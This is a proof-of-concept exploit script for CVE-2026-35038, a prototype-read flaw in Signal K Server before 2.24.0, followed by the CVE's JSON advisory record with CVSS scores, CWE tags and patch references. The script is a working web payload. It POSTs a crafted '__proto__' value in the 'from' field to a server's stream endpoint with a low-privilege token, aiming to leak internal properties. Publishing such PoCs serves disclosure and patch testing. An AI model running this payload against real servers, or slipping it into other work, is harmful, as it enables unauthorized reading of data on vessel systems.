CVE-2026-35038

// Proof of Concept for CVE-2026-35038 // Target: Signal K Server < 2.24.0 // Description: Arbitrary prototype read via 'from' field bypass // The vulnerability allows reading from the global prototype. // An attacker with low privileges sends a request with a crafted 'from' field. const fetch = require('node-fetch'); async function exploit() { const targetUrl = 'http://target-signalk-server:3000/signalk/v1/stream'; const authToken = 'LOW_PRIVILEGE_TOKEN_HERE'; // Requires valid low-priv token // Malicious payload attempting to read from Object.prototype const payload = { "context": "vessels.self", "subscribe": [ { "path": "navigation", "period": 1000 } ], // The 'from' field is the vector that bypasses filtering "from": "__proto__.pollutedProperty" }; try { const response = await fetch(targetUrl, { method: 'POST', headers: { 'Content-Type': 'application/json', 'Authorization': `Bearer ${authToken}` }, body: JSON.stringify(payload) }); const data = await response.text(); console.log('Response:', data); // If successful, the response may contain properties leaked from the prototype chain. } catch (error) { console.error('Exploit failed:', error); } } exploit();

{"cve": {"id": "CVE-2026-35038", "sourceIdentifier": "[email protected]", "published": "2026-04-02T17:16:27.163", "lastModified": "2026-04-29T01:00:01.613", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Signal K Server is a server application that runs on a central hub in a boat. Prior to version 2.24.0, there is an arbitrary prototype read vulnerability via `from` field bypass. This vulnerability allows a low-privileged authenticated user to bypass prototype boundary filtering to extract internal functions and properties from the global prototype object this violates data isolation and lets a user read more than they should. This issue has been patched in version 2.24.0."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "PROOF_OF_CONCEPT", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-125"}, {"lang": "en", "value": "CWE-200"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:signalk:signal_k_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.24.0", "matchCriteriaId": "64F9BA25-5552-4477-84F9-83E71B2CA56F"}]}]}], "references": [{"url": "https://github.com/SignalK/signalk-server/releases/tag/v2.24.0", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/SignalK/signalk-server/security/advisories/GHSA-qh3j-mrg8-f234", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}